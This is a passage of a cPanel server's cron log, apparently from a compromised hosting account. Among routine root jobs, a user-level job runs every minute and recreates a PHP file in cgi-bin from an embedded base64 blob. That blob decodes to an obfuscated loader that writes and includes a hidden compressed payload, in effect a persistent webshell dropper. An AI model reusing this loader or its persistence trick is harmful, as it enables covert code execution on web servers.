4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:15:01 server CROND[26583]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 00:15:01 server CROND[26584]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  9 00:15:01 server CROND[26585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:15:01 server CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:15:01 server CROND[26591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:16:01 server CROND[26750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:17:01 server CROND[26795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:18:01 server CROND[26868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:19:01 server CROND[26923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:20:01 server CROND[27091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:20:01 server CROND[27093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:20:01 server CROND[27092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:20:01 server CROND[27097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:20:01 server CROND[27096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 00:21:01 server CROND[27220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:22:01 server CROND[27275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:23:01 server CROND[27333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:24:01 server CROND[27383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:25:01 server CROND[27526]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 00:25:01 server CROND[27528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:25:01 server CROND[27529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:25:01 server CROND[27532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:26:01 server CROND[27652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:27:01 server CROND[27704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:27:01 server CROND[27705]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
